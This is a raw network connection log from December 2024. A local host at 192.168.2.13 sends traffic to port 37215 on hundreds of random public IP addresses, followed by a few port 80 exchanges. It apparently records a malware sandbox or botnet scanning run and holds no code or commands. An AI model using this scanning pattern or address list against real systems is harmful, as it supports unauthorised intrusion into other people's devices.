Dec 3, 2024 21:47:20.085467100 CET	34043	37215	192.168.2.13	156.22.92.200
Dec 3, 2024 21:47:20.085462093 CET	34043	37215	192.168.2.13	156.143.94.127
Dec 3, 2024 21:47:20.085463047 CET	34043	37215	192.168.2.13	197.98.33.156
Dec 3, 2024 21:47:20.085463047 CET	34043	37215	192.168.2.13	197.63.248.250
Dec 3, 2024 21:47:20.085462093 CET	34043	37215	192.168.2.13	197.67.91.141
Dec 3, 2024 21:47:20.085467100 CET	34043	37215	192.168.2.13	41.127.132.65
Dec 3, 2024 21:47:20.085470915 CET	34043	37215	192.168.2.13	197.165.53.41
Dec 3, 2024 21:47:20.085470915 CET	34043	37215	192.168.2.13	41.134.52.4
Dec 3, 2024 21:47:20.085496902 CET	34043	37215	192.168.2.13	156.240.146.132
Dec 3, 2024 21:47:20.085496902 CET	34043	37215	192.168.2.13	197.238.113.87
Dec 3, 2024 21:47:20.085535049 CET	34043	37215	192.168.2.13	41.203.102.167
Dec 3, 2024 21:47:20.085540056 CET	34043	37215	192.168.2.13	41.202.206.248
Dec 3, 2024 21:47:20.085540056 CET	34043	37215	192.168.2.13	41.124.163.63
Dec 3, 2024 21:47:20.085540056 CET	34043	37215	192.168.2.13	156.88.20.192
Dec 3, 2024 21:47:20.085542917 CET	34043	37215	192.168.2.13	156.236.178.214
Dec 3, 2024 21:47:20.085544109 CET	34043	37215	192.168.2.13	197.126.221.112
Dec 3, 2024 21:47:20.085544109 CET	34043	37215	192.168.2.13	41.43.187.51
Dec 3, 2024 21:47:20.085544109 CET	34043	37215	192.168.2.13	197.43.16.146
Dec 3, 2024 21:47:20.085547924 CET	34043	37215	192.168.2.13	41.133.184.213
Dec 3, 2024 21:47:20.085547924 CET	34043	37215	192.168.2.13	197.61.36.133
Dec 3, 2024 21:47:20.085547924 CET	34043	37215	192.168.2.13	197.7.186.48
Dec 3, 2024 21:47:20.085556030 CET	34043	37215	192.168.2.13	197.176.51.25
Dec 3, 2024 21:47:20.085556030 CET	34043	37215	192.168.2.13	156.92.57.125
Dec 3, 2024 21:47:20.085556030 CET	34043	37215	192.168.2.13	41.70.112.203
Dec 3, 2024 21:47:20.085558891 CET	34043	37215	192.168.2.13	41.12.160.51
Dec 3, 2024 21:47:20.085560083 CET	34043	37215	192.168.2.13	41.12.157.241
Dec 3, 2024 21:47:20.085558891 CET	34043	37215	192.168.2.13	41.219.27.16
Dec 3, 2024 21:47:20.085560083 CET	34043	37215	192.168.2.13	197.56.13.205
Dec 3, 2024 21:47:20.085561037 CET	34043	37215	192.168.2.13	156.209.66.136
Dec 3, 2024 21:47:20.085561991 CET	34043	37215	192.168.2.13	156.241.121.152
Dec 3, 2024 21:47:20.085562944 CET	34043	37215	192.168.2.13	156.251.174.248
Dec 3, 2024 21:47:20.085562944 CET	34043	37215	192.168.2.13	41.172.190.151
Dec 3, 2024 21:47:20.085562944 CET	34043	37215	192.168.2.13	197.163.39.243
Dec 3, 2024 21:47:20.085562944 CET	34043	37215	192.168.2.13	41.177.174.89
Dec 3, 2024 21:47:20.085563898 CET	34043	37215	192.168.2.13	41.186.105.80
Dec 3, 2024 21:47:20.085563898 CET	34043	37215	192.168.2.13	41.148.90.8
Dec 3, 2024 21:47:20.085563898 CET	34043	37215	192.168.2.13	41.111.60.227
Dec 3, 2024 21:47:20.085572958 CET	34043	37215	192.168.2.13	156.165.138.141
Dec 3, 2024 21:47:20.085573912 CET	34043	37215	192.168.2.13	41.121.185.36
Dec 3, 2024 21:47:20.085575104 CET	34043	37215	192.168.2.13	41.149.218.27
Dec 3, 2024 21:47:20.085575104 CET	34043	37215	192.168.2.13	156.126.51.72
Dec 3, 2024 21:47:20.085575104 CET	34043	37215	192.168.2.13	41.217.139.27
Dec 3, 2024 21:47:20.085577011 CET	34043	37215	192.168.2.13	197.162.216.162
Dec 3, 2024 21:47:20.085577011 CET	34043	37215	192.168.2.13	197.212.51.247
Dec 3, 2024 21:47:20.085577011 CET	34043	37215	192.168.2.13	197.15.111.43
Dec 3, 2024 21:47:20.085577011 CET	34043	37215	192.168.2.13	41.106.126.149
Dec 3, 2024 21:47:20.085577011 CET	34043	37215	192.168.2.13	41.147.82.57
Dec 3, 2024 21:47:20.085577011 CET	34043	37215	192.168.2.13	156.111.152.65
Dec 3, 2024 21:47:20.085577011 CET	34043	37215	192.168.2.13	197.54.214.151
Dec 3, 2024 21:47:20.085577011 CET	34043	37215	192.168.2.13	156.152.79.49
Dec 3, 2024 21:47:20.085593939 CET	34043	37215	192.168.2.13	156.27.151.58
Dec 3, 2024 21:47:20.085597992 CET	34043	37215	192.168.2.13	41.71.14.9
Dec 3, 2024 21:47:20.085599899 CET	34043	37215	192.168.2.13	197.109.146.226
Dec 3, 2024 21:47:20.085599899 CET	34043	37215	192.168.2.13	197.171.155.5
Dec 3, 2024 21:47:20.085602045 CET	34043	37215	192.168.2.13	41.228.247.94
Dec 3, 2024 21:47:20.085603952 CET	34043	37215	192.168.2.13	156.185.105.14
Dec 3, 2024 21:47:20.085603952 CET	34043	37215	192.168.2.13	41.177.26.240
Dec 3, 2024 21:47:20.085608006 CET	34043	37215	192.168.2.13	197.116.167.252
Dec 3, 2024 21:47:20.085622072 CET	34043	37215	192.168.2.13	197.156.207.184
Dec 3, 2024 21:47:20.085623980 CET	34043	37215	192.168.2.13	41.3.166.48
Dec 3, 2024 21:47:20.085622072 CET	34043	37215	192.168.2.13	197.111.157.216
Dec 3, 2024 21:47:20.085627079 CET	34043	37215	192.168.2.13	197.136.59.226
Dec 3, 2024 21:47:20.085633993 CET	34043	37215	192.168.2.13	41.142.137.8
Dec 3, 2024 21:47:20.085633993 CET	34043	37215	192.168.2.13	197.104.50.133
Dec 3, 2024 21:47:20.085635900 CET	34043	37215	192.168.2.13	197.217.116.10
Dec 3, 2024 21:47:20.085648060 CET	34043	37215	192.168.2.13	41.44.225.95
Dec 3, 2024 21:47:20.085654974 CET	34043	37215	192.168.2.13	156.10.146.246
Dec 3, 2024 21:47:20.085654974 CET	34043	37215	192.168.2.13	197.149.153.81
Dec 3, 2024 21:47:20.085654974 CET	34043	37215	192.168.2.13	156.43.218.192
Dec 3, 2024 21:47:20.085659027 CET	34043	37215	192.168.2.13	197.185.255.2
Dec 3, 2024 21:47:20.085659027 CET	34043	37215	192.168.2.13	41.164.79.12
Dec 3, 2024 21:47:20.085660934 CET	34043	37215	192.168.2.13	197.4.138.194
Dec 3, 2024 21:47:20.085660934 CET	34043	37215	192.168.2.13	197.113.15.103
Dec 3, 2024 21:47:20.085664988 CET	34043	37215	192.168.2.13	197.48.80.239
Dec 3, 2024 21:47:20.085665941 CET	34043	37215	192.168.2.13	41.41.81.158
Dec 3, 2024 21:47:20.085665941 CET	34043	37215	192.168.2.13	156.51.57.57
Dec 3, 2024 21:47:20.085674047 CET	34043	37215	192.168.2.13	156.119.99.138
Dec 3, 2024 21:47:20.085689068 CET	34043	37215	192.168.2.13	156.143.169.222
Dec 3, 2024 21:47:20.085690022 CET	34043	37215	192.168.2.13	197.174.171.212
Dec 3, 2024 21:47:20.085690022 CET	34043	37215	192.168.2.13	156.46.223.241
Dec 3, 2024 21:47:20.085690975 CET	34043	37215	192.168.2.13	197.253.188.250
Dec 3, 2024 21:47:20.085699081 CET	34043	37215	192.168.2.13	156.170.128.207
Dec 3, 2024 21:47:20.085702896 CET	34043	37215	192.168.2.13	156.53.229.30
Dec 3, 2024 21:47:20.085711002 CET	34043	37215	192.168.2.13	197.116.130.144
Dec 3, 2024 21:47:20.085711956 CET	34043	37215	192.168.2.13	156.87.198.165
Dec 3, 2024 21:47:20.085711002 CET	34043	37215	192.168.2.13	156.171.68.150
Dec 3, 2024 21:47:20.085728884 CET	34043	37215	192.168.2.13	41.39.143.122
Dec 3, 2024 21:47:20.085730076 CET	34043	37215	192.168.2.13	156.221.112.181
Dec 3, 2024 21:47:20.085730076 CET	34043	37215	192.168.2.13	197.98.160.109
Dec 3, 2024 21:47:20.085741043 CET	34043	37215	192.168.2.13	41.167.113.98
Dec 3, 2024 21:47:20.085745096 CET	34043	37215	192.168.2.13	197.103.77.242
Dec 3, 2024 21:47:20.085745096 CET	34043	37215	192.168.2.13	156.183.28.20
Dec 3, 2024 21:47:20.085748911 CET	34043	37215	192.168.2.13	156.182.5.169
Dec 3, 2024 21:47:20.085760117 CET	34043	37215	192.168.2.13	156.165.40.67
Dec 3, 2024 21:47:20.085767984 CET	34043	37215	192.168.2.13	197.158.142.64
Dec 3, 2024 21:47:20.085767984 CET	34043	37215	192.168.2.13	41.75.99.229
Dec 3, 2024 21:47:20.085769892 CET	34043	37215	192.168.2.13	156.117.3.147
Dec 3, 2024 21:47:20.085771084 CET	34043	37215	192.168.2.13	41.175.164.72
Dec 3, 2024 21:47:20.085777044 CET	34043	37215	192.168.2.13	41.184.187.144
Dec 3, 2024 21:47:20.085779905 CET	34043	37215	192.168.2.13	41.125.104.111
Dec 3, 2024 21:47:20.085782051 CET	34043	37215	192.168.2.13	156.247.236.38
Dec 3, 2024 21:47:20.085782051 CET	34043	37215	192.168.2.13	156.203.131.180
Dec 3, 2024 21:47:20.085782051 CET	34043	37215	192.168.2.13	197.12.159.148
Dec 3, 2024 21:47:20.085782051 CET	34043	37215	192.168.2.13	197.97.79.160
Dec 3, 2024 21:47:20.085782051 CET	34043	37215	192.168.2.13	197.23.6.125
Dec 3, 2024 21:47:20.085788012 CET	34043	37215	192.168.2.13	41.19.239.240
Dec 3, 2024 21:47:20.085796118 CET	34043	37215	192.168.2.13	156.44.134.48
Dec 3, 2024 21:47:20.085797071 CET	34043	37215	192.168.2.13	41.210.120.150
Dec 3, 2024 21:47:20.085805893 CET	34043	37215	192.168.2.13	156.116.20.90
Dec 3, 2024 21:47:20.085808992 CET	34043	37215	192.168.2.13	41.155.173.221
Dec 3, 2024 21:47:20.085819006 CET	34043	37215	192.168.2.13	197.38.96.157
Dec 3, 2024 21:47:20.085820913 CET	34043	37215	192.168.2.13	156.253.216.64
Dec 3, 2024 21:47:20.085825920 CET	34043	37215	192.168.2.13	197.191.203.98
Dec 3, 2024 21:47:20.085830927 CET	34043	37215	192.168.2.13	197.233.93.47
Dec 3, 2024 21:47:20.085833073 CET	34043	37215	192.168.2.13	41.88.30.136
Dec 3, 2024 21:47:20.085834980 CET	34043	37215	192.168.2.13	156.228.95.81
Dec 3, 2024 21:47:20.085834980 CET	34043	37215	192.168.2.13	156.241.10.38
Dec 3, 2024 21:47:20.085836887 CET	34043	37215	192.168.2.13	197.234.91.74
Dec 3, 2024 21:47:20.085845947 CET	34043	37215	192.168.2.13	41.84.31.179
Dec 3, 2024 21:47:20.085851908 CET	34043	37215	192.168.2.13	156.34.218.173
Dec 3, 2024 21:47:20.085851908 CET	34043	37215	192.168.2.13	156.83.89.135
Dec 3, 2024 21:47:20.085858107 CET	34043	37215	192.168.2.13	156.201.37.13
Dec 3, 2024 21:47:20.085858107 CET	34043	37215	192.168.2.13	197.7.100.247
Dec 3, 2024 21:47:20.085859060 CET	34043	37215	192.168.2.13	41.29.115.212
Dec 3, 2024 21:47:20.085860014 CET	34043	37215	192.168.2.13	41.124.237.140
Dec 3, 2024 21:47:20.085864067 CET	34043	37215	192.168.2.13	41.208.160.109
Dec 3, 2024 21:47:20.085864067 CET	34043	37215	192.168.2.13	41.78.72.140
Dec 3, 2024 21:47:20.085875988 CET	34043	37215	192.168.2.13	41.137.154.245
Dec 3, 2024 21:47:20.085879087 CET	34043	37215	192.168.2.13	197.7.223.94
Dec 3, 2024 21:47:20.085885048 CET	34043	37215	192.168.2.13	41.214.246.114
Dec 3, 2024 21:47:20.085885048 CET	34043	37215	192.168.2.13	156.229.116.33
Dec 3, 2024 21:47:20.085885048 CET	34043	37215	192.168.2.13	197.62.72.185
Dec 3, 2024 21:47:20.085896969 CET	34043	37215	192.168.2.13	41.162.255.179
Dec 3, 2024 21:47:20.085897923 CET	34043	37215	192.168.2.13	41.6.181.202
Dec 3, 2024 21:47:20.085899115 CET	34043	37215	192.168.2.13	156.125.64.64
Dec 3, 2024 21:47:20.085915089 CET	34043	37215	192.168.2.13	197.141.92.10
Dec 3, 2024 21:47:20.085921049 CET	34043	37215	192.168.2.13	41.52.195.197
Dec 3, 2024 21:47:20.085921049 CET	34043	37215	192.168.2.13	156.209.218.67
Dec 3, 2024 21:47:20.085921049 CET	34043	37215	192.168.2.13	197.83.226.155
Dec 3, 2024 21:47:20.085921049 CET	34043	37215	192.168.2.13	41.113.193.166
Dec 3, 2024 21:47:20.085921049 CET	34043	37215	192.168.2.13	41.218.161.34
Dec 3, 2024 21:47:20.085926056 CET	34043	37215	192.168.2.13	156.135.0.42
Dec 3, 2024 21:47:20.085941076 CET	34043	37215	192.168.2.13	41.117.161.163
Dec 3, 2024 21:47:20.085944891 CET	34043	37215	192.168.2.13	41.3.173.230
Dec 3, 2024 21:47:20.085944891 CET	34043	37215	192.168.2.13	41.103.81.94
Dec 3, 2024 21:47:20.085953951 CET	34043	37215	192.168.2.13	197.105.215.97
Dec 3, 2024 21:47:20.085953951 CET	34043	37215	192.168.2.13	156.240.180.183
Dec 3, 2024 21:47:20.085956097 CET	34043	37215	192.168.2.13	41.199.64.236
Dec 3, 2024 21:47:20.085962057 CET	34043	37215	192.168.2.13	156.248.119.174
Dec 3, 2024 21:47:20.085962057 CET	34043	37215	192.168.2.13	41.96.77.35
Dec 3, 2024 21:47:20.085971117 CET	34043	37215	192.168.2.13	156.220.3.112
Dec 3, 2024 21:47:20.085978985 CET	34043	37215	192.168.2.13	41.45.161.197
Dec 3, 2024 21:47:20.085989952 CET	34043	37215	192.168.2.13	197.237.150.31
Dec 3, 2024 21:47:20.085989952 CET	34043	37215	192.168.2.13	156.212.80.5
Dec 3, 2024 21:47:20.085994005 CET	34043	37215	192.168.2.13	41.87.120.185
Dec 3, 2024 21:47:20.085995913 CET	34043	37215	192.168.2.13	197.13.148.205
Dec 3, 2024 21:47:20.085995913 CET	34043	37215	192.168.2.13	41.31.106.216
Dec 3, 2024 21:47:20.086000919 CET	34043	37215	192.168.2.13	197.101.46.168
Dec 3, 2024 21:47:20.086000919 CET	34043	37215	192.168.2.13	197.43.50.246
Dec 3, 2024 21:47:20.086000919 CET	34043	37215	192.168.2.13	41.118.100.36
Dec 3, 2024 21:47:20.086005926 CET	34043	37215	192.168.2.13	197.121.241.201
Dec 3, 2024 21:47:20.086009979 CET	34043	37215	192.168.2.13	156.174.239.55
Dec 3, 2024 21:47:20.086011887 CET	34043	37215	192.168.2.13	156.114.241.156
Dec 3, 2024 21:47:20.086013079 CET	34043	37215	192.168.2.13	41.142.51.241
Dec 3, 2024 21:47:20.086013079 CET	34043	37215	192.168.2.13	41.76.17.154
Dec 3, 2024 21:47:20.086019993 CET	34043	37215	192.168.2.13	41.123.53.180
Dec 3, 2024 21:47:20.086021900 CET	34043	37215	192.168.2.13	197.178.138.170
Dec 3, 2024 21:47:20.086021900 CET	34043	37215	192.168.2.13	156.107.226.111
Dec 3, 2024 21:47:20.086025953 CET	34043	37215	192.168.2.13	156.86.166.16
Dec 3, 2024 21:47:20.086038113 CET	34043	37215	192.168.2.13	41.93.105.59
Dec 3, 2024 21:47:20.086040020 CET	34043	37215	192.168.2.13	156.50.176.101
Dec 3, 2024 21:47:20.086044073 CET	34043	37215	192.168.2.13	156.84.3.197
Dec 3, 2024 21:47:20.086045027 CET	34043	37215	192.168.2.13	156.31.2.202
Dec 3, 2024 21:47:20.086045027 CET	34043	37215	192.168.2.13	197.4.239.226
Dec 3, 2024 21:47:20.086049080 CET	34043	37215	192.168.2.13	156.11.171.56
Dec 3, 2024 21:47:20.086051941 CET	34043	37215	192.168.2.13	41.134.175.230
Dec 3, 2024 21:47:20.086066008 CET	34043	37215	192.168.2.13	41.121.192.239
Dec 3, 2024 21:47:20.086066008 CET	34043	37215	192.168.2.13	156.227.201.57
Dec 3, 2024 21:47:20.086077929 CET	34043	37215	192.168.2.13	41.44.118.197
Dec 3, 2024 21:47:20.086077929 CET	34043	37215	192.168.2.13	156.120.170.71
Dec 3, 2024 21:47:20.086078882 CET	34043	37215	192.168.2.13	156.150.92.204
Dec 3, 2024 21:47:20.086081028 CET	34043	37215	192.168.2.13	156.135.199.191
Dec 3, 2024 21:47:20.086077929 CET	34043	37215	192.168.2.13	41.188.210.56
Dec 3, 2024 21:47:20.086080074 CET	34043	37215	192.168.2.13	156.103.102.59
Dec 3, 2024 21:47:20.086091042 CET	34043	37215	192.168.2.13	156.239.113.253
Dec 3, 2024 21:47:20.086092949 CET	34043	37215	192.168.2.13	156.34.2.43
Dec 3, 2024 21:47:20.086112976 CET	34043	37215	192.168.2.13	156.85.70.108
Dec 3, 2024 21:47:20.086113930 CET	34043	37215	192.168.2.13	41.250.102.157
Dec 3, 2024 21:47:20.086114883 CET	34043	37215	192.168.2.13	156.131.101.178
Dec 3, 2024 21:47:20.086117983 CET	34043	37215	192.168.2.13	156.245.154.164
Dec 3, 2024 21:47:20.086129904 CET	34043	37215	192.168.2.13	197.69.254.51
Dec 3, 2024 21:47:20.086133957 CET	34043	37215	192.168.2.13	41.166.119.152
Dec 3, 2024 21:47:20.086133957 CET	34043	37215	192.168.2.13	156.180.155.214
Dec 3, 2024 21:47:20.086133957 CET	34043	37215	192.168.2.13	41.87.49.214
Dec 3, 2024 21:47:20.086139917 CET	34043	37215	192.168.2.13	197.24.67.73
Dec 3, 2024 21:47:20.086139917 CET	34043	37215	192.168.2.13	41.115.22.143
Dec 3, 2024 21:47:20.086142063 CET	34043	37215	192.168.2.13	41.124.104.74
Dec 3, 2024 21:47:20.086142063 CET	34043	37215	192.168.2.13	156.24.223.108
Dec 3, 2024 21:47:20.086143970 CET	34043	37215	192.168.2.13	41.11.253.240
Dec 3, 2024 21:47:20.086158991 CET	34043	37215	192.168.2.13	197.213.224.24
Dec 3, 2024 21:47:20.086158991 CET	34043	37215	192.168.2.13	41.73.36.167
Dec 3, 2024 21:47:20.086163998 CET	34043	37215	192.168.2.13	197.37.108.196
Dec 3, 2024 21:47:20.086164951 CET	34043	37215	192.168.2.13	156.82.89.243
Dec 3, 2024 21:47:20.086168051 CET	34043	37215	192.168.2.13	156.77.232.135
Dec 3, 2024 21:47:20.086174965 CET	34043	37215	192.168.2.13	197.174.84.55
Dec 3, 2024 21:47:20.086179018 CET	34043	37215	192.168.2.13	156.137.132.160
Dec 3, 2024 21:47:20.086179018 CET	34043	37215	192.168.2.13	41.21.61.174
Dec 3, 2024 21:47:20.086198092 CET	34043	37215	192.168.2.13	197.1.21.222
Dec 3, 2024 21:47:20.086198092 CET	34043	37215	192.168.2.13	197.34.186.142
Dec 3, 2024 21:47:20.086199045 CET	34043	37215	192.168.2.13	41.94.234.181
Dec 3, 2024 21:47:20.086198092 CET	34043	37215	192.168.2.13	156.35.7.186
Dec 3, 2024 21:47:20.086209059 CET	34043	37215	192.168.2.13	197.100.32.195
Dec 3, 2024 21:47:20.086209059 CET	34043	37215	192.168.2.13	156.190.169.111
Dec 3, 2024 21:47:20.086220980 CET	34043	37215	192.168.2.13	197.10.55.169
Dec 3, 2024 21:47:20.086219072 CET	34043	37215	192.168.2.13	41.151.236.184
Dec 3, 2024 21:47:20.086219072 CET	34043	37215	192.168.2.13	197.0.53.51
Dec 3, 2024 21:47:20.086226940 CET	34043	37215	192.168.2.13	156.24.23.31
Dec 3, 2024 21:47:20.086226940 CET	34043	37215	192.168.2.13	156.71.111.183
Dec 3, 2024 21:47:20.086226940 CET	34043	37215	192.168.2.13	197.231.130.31
Dec 3, 2024 21:47:20.086232901 CET	34043	37215	192.168.2.13	41.53.122.124
Dec 3, 2024 21:47:20.086240053 CET	34043	37215	192.168.2.13	156.19.51.195
Dec 3, 2024 21:47:20.086240053 CET	34043	37215	192.168.2.13	197.96.5.205
Dec 3, 2024 21:47:20.086247921 CET	34043	37215	192.168.2.13	197.103.207.8
Dec 3, 2024 21:47:20.086251020 CET	34043	37215	192.168.2.13	41.95.70.210
Dec 3, 2024 21:47:20.086257935 CET	34043	37215	192.168.2.13	156.31.58.233
Dec 3, 2024 21:47:20.086257935 CET	34043	37215	192.168.2.13	156.108.175.166
Dec 3, 2024 21:47:20.086265087 CET	34043	37215	192.168.2.13	41.33.29.54
Dec 3, 2024 21:47:20.086265087 CET	34043	37215	192.168.2.13	197.49.185.9
Dec 3, 2024 21:47:20.086270094 CET	34043	37215	192.168.2.13	41.99.165.158
Dec 3, 2024 21:47:20.086282015 CET	34043	37215	192.168.2.13	41.229.231.42
Dec 3, 2024 21:47:20.086282015 CET	34043	37215	192.168.2.13	156.246.234.254
Dec 3, 2024 21:47:20.086282969 CET	34043	37215	192.168.2.13	41.94.255.163
Dec 3, 2024 21:47:20.086288929 CET	34043	37215	192.168.2.13	41.4.226.21
Dec 3, 2024 21:47:20.086294889 CET	34043	37215	192.168.2.13	41.214.124.76
Dec 3, 2024 21:47:20.086297035 CET	34043	37215	192.168.2.13	156.157.114.84
Dec 3, 2024 21:47:20.086297035 CET	34043	37215	192.168.2.13	197.231.213.123
Dec 3, 2024 21:47:20.086308002 CET	34043	37215	192.168.2.13	197.75.132.33
Dec 3, 2024 21:47:20.086309910 CET	34043	37215	192.168.2.13	156.9.28.111
Dec 3, 2024 21:47:20.086309910 CET	34043	37215	192.168.2.13	197.247.137.56
Dec 3, 2024 21:47:20.086313963 CET	34043	37215	192.168.2.13	197.203.53.212
Dec 3, 2024 21:47:20.086321115 CET	34043	37215	192.168.2.13	156.90.64.136
Dec 3, 2024 21:47:20.086323977 CET	34043	37215	192.168.2.13	41.133.213.201
Dec 3, 2024 21:47:20.086335897 CET	34043	37215	192.168.2.13	197.39.206.77
Dec 3, 2024 21:47:20.086335897 CET	34043	37215	192.168.2.13	156.140.92.166
Dec 3, 2024 21:47:20.086340904 CET	34043	37215	192.168.2.13	197.183.137.32
Dec 3, 2024 21:47:20.086340904 CET	34043	37215	192.168.2.13	197.193.50.85
Dec 3, 2024 21:47:20.086350918 CET	34043	37215	192.168.2.13	156.48.23.154
Dec 3, 2024 21:47:20.086350918 CET	34043	37215	192.168.2.13	197.71.20.17
Dec 3, 2024 21:47:20.086359024 CET	34043	37215	192.168.2.13	41.66.221.206
Dec 3, 2024 21:47:20.086359978 CET	34043	37215	192.168.2.13	41.42.102.27
Dec 3, 2024 21:47:20.086368084 CET	34043	37215	192.168.2.13	156.10.141.112
Dec 3, 2024 21:47:20.086369038 CET	34043	37215	192.168.2.13	41.115.33.174
Dec 3, 2024 21:47:20.086380959 CET	34043	37215	192.168.2.13	41.82.12.14
Dec 3, 2024 21:47:20.086385012 CET	34043	37215	192.168.2.13	197.95.216.90
Dec 3, 2024 21:47:20.086385012 CET	34043	37215	192.168.2.13	41.106.78.17
Dec 3, 2024 21:47:20.086386919 CET	34043	37215	192.168.2.13	41.104.127.81
Dec 3, 2024 21:47:20.086391926 CET	34043	37215	192.168.2.13	156.162.27.241
Dec 3, 2024 21:47:20.086400032 CET	34043	37215	192.168.2.13	156.226.84.116
Dec 3, 2024 21:47:20.086400032 CET	34043	37215	192.168.2.13	197.252.165.104
Dec 3, 2024 21:47:20.086406946 CET	34043	37215	192.168.2.13	197.96.214.139
Dec 3, 2024 21:47:20.086421013 CET	34043	37215	192.168.2.13	156.169.86.233
Dec 3, 2024 21:47:20.086421013 CET	34043	37215	192.168.2.13	197.111.246.145
Dec 3, 2024 21:47:20.086425066 CET	34043	37215	192.168.2.13	156.56.143.203
Dec 3, 2024 21:47:20.086426020 CET	34043	37215	192.168.2.13	156.107.240.199
Dec 3, 2024 21:47:20.086430073 CET	34043	37215	192.168.2.13	156.195.147.81
Dec 3, 2024 21:47:20.086431026 CET	34043	37215	192.168.2.13	156.219.254.57
Dec 3, 2024 21:47:20.086431980 CET	34043	37215	192.168.2.13	41.131.135.127
Dec 3, 2024 21:47:20.086433887 CET	34043	37215	192.168.2.13	197.159.47.82
Dec 3, 2024 21:47:20.086436987 CET	34043	37215	192.168.2.13	41.229.66.44
Dec 3, 2024 21:47:20.086440086 CET	34043	37215	192.168.2.13	197.62.53.131
Dec 3, 2024 21:47:20.086443901 CET	34043	37215	192.168.2.13	156.15.21.102
Dec 3, 2024 21:47:20.086456060 CET	34043	37215	192.168.2.13	156.230.172.61
Dec 3, 2024 21:47:20.086457968 CET	34043	37215	192.168.2.13	41.121.199.227
Dec 3, 2024 21:47:20.086457968 CET	34043	37215	192.168.2.13	197.115.222.67
Dec 3, 2024 21:47:20.086468935 CET	34043	37215	192.168.2.13	197.243.147.147
Dec 3, 2024 21:47:20.086468935 CET	34043	37215	192.168.2.13	156.4.141.15
Dec 3, 2024 21:47:20.086473942 CET	34043	37215	192.168.2.13	156.160.18.135
Dec 3, 2024 21:47:20.086481094 CET	34043	37215	192.168.2.13	197.130.226.183
Dec 3, 2024 21:47:20.086481094 CET	34043	37215	192.168.2.13	197.141.93.58
Dec 3, 2024 21:47:20.086498976 CET	34043	37215	192.168.2.13	197.184.178.168
Dec 3, 2024 21:47:20.086498976 CET	34043	37215	192.168.2.13	41.83.183.112
Dec 3, 2024 21:47:20.086500883 CET	34043	37215	192.168.2.13	197.87.189.113
Dec 3, 2024 21:47:20.086499929 CET	34043	37215	192.168.2.13	197.70.55.155
Dec 3, 2024 21:47:20.086500883 CET	34043	37215	192.168.2.13	197.220.203.127
Dec 3, 2024 21:47:20.086503029 CET	34043	37215	192.168.2.13	197.108.155.208
Dec 3, 2024 21:47:20.086510897 CET	34043	37215	192.168.2.13	197.111.181.158
Dec 3, 2024 21:47:20.086513996 CET	34043	37215	192.168.2.13	197.7.246.244
Dec 3, 2024 21:47:20.086517096 CET	34043	37215	192.168.2.13	156.181.123.92
Dec 3, 2024 21:47:20.086517096 CET	34043	37215	192.168.2.13	197.245.153.71
Dec 3, 2024 21:47:20.086520910 CET	34043	37215	192.168.2.13	156.132.200.166
Dec 3, 2024 21:47:20.086524963 CET	34043	37215	192.168.2.13	41.151.104.157
Dec 3, 2024 21:47:20.086534977 CET	34043	37215	192.168.2.13	41.172.122.184
Dec 3, 2024 21:47:20.086535931 CET	34043	37215	192.168.2.13	197.82.199.29
Dec 3, 2024 21:47:20.086540937 CET	34043	37215	192.168.2.13	41.140.9.153
Dec 3, 2024 21:47:20.086540937 CET	34043	37215	192.168.2.13	156.59.10.247
Dec 3, 2024 21:47:20.086555004 CET	34043	37215	192.168.2.13	41.60.136.199
Dec 3, 2024 21:47:20.086556911 CET	34043	37215	192.168.2.13	197.107.21.91
Dec 3, 2024 21:47:20.086558104 CET	34043	37215	192.168.2.13	41.82.101.115
Dec 3, 2024 21:47:20.086560965 CET	34043	37215	192.168.2.13	41.190.124.87
Dec 3, 2024 21:47:20.086564064 CET	34043	37215	192.168.2.13	197.23.190.156
Dec 3, 2024 21:47:20.086569071 CET	34043	37215	192.168.2.13	197.145.254.193
Dec 3, 2024 21:47:20.086570024 CET	34043	37215	192.168.2.13	197.121.90.161
Dec 3, 2024 21:47:20.086570024 CET	34043	37215	192.168.2.13	156.71.184.147
Dec 3, 2024 21:47:20.086589098 CET	34043	37215	192.168.2.13	41.244.162.182
Dec 3, 2024 21:47:20.086589098 CET	34043	37215	192.168.2.13	41.184.209.164
Dec 3, 2024 21:47:20.086601973 CET	34043	37215	192.168.2.13	41.97.181.69
Dec 3, 2024 21:47:20.086606979 CET	34043	37215	192.168.2.13	41.123.131.19
Dec 3, 2024 21:47:20.086610079 CET	34043	37215	192.168.2.13	197.10.207.254
Dec 3, 2024 21:47:20.086610079 CET	34043	37215	192.168.2.13	197.125.178.160
Dec 3, 2024 21:47:20.086611986 CET	34043	37215	192.168.2.13	156.52.227.72
Dec 3, 2024 21:47:20.086611986 CET	34043	37215	192.168.2.13	41.194.205.180
Dec 3, 2024 21:47:20.086621046 CET	34043	37215	192.168.2.13	197.92.77.113
Dec 3, 2024 21:47:20.086622000 CET	34043	37215	192.168.2.13	197.156.228.193
Dec 3, 2024 21:47:20.086622000 CET	34043	37215	192.168.2.13	156.71.232.151
Dec 3, 2024 21:47:20.086623907 CET	34043	37215	192.168.2.13	156.189.114.253
Dec 3, 2024 21:47:20.086623907 CET	34043	37215	192.168.2.13	41.79.110.68
Dec 3, 2024 21:47:20.086625099 CET	34043	37215	192.168.2.13	197.134.250.162
Dec 3, 2024 21:47:20.171205997 CET	80	39419	186.84.218.11	192.168.2.13
Dec 3, 2024 21:47:20.171261072 CET	80	39419	94.2.223.202	192.168.2.13
Dec 3, 2024 21:47:20.171277046 CET	80	39419	101.1.73.203	192.168.2.13
Dec 3, 2024 21:47:20.171289921 CET	80	39419	87.46.134.230	192.168.2.13
Dec 3, 2024 21:47:20.171324015 CET	80	39419	14.244.19.249	192.168.2.13
Dec 3, 2024 21:47:20.171334028 CET	80	39419	208.91.209.54	192.168.2.13
Dec 3, 2024 21:47:20.171360970 CET	80	39419	89.9.140.26	192.168.2.13
Dec 3, 2024 21:47:20.171374083 CET	80	39419	39.103.0.196	192.168.2.13
Dec 3, 2024 21:47:20.171386957 CET	80	39419	219.115.34.124	192.168.2.13
Dec 3, 2024 21:47:20.171410084 CET	39419	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:20.171413898 CET	80	39419	135.22.204.152	192.168.2.13
Dec 3, 2024 21:47:20.171428919 CET	39419	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:20.171430111 CET	39419	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:20.171436071 CET	39419	80	192.168.2.13	186.84.218.11
Dec 3, 2024 21:47:20.171457052 CET	80	39419	217.9.92.75	192.168.2.13
Dec 3, 2024 21:47:20.171478987 CET	39419	80	192.168.2.13	101.1.73.203
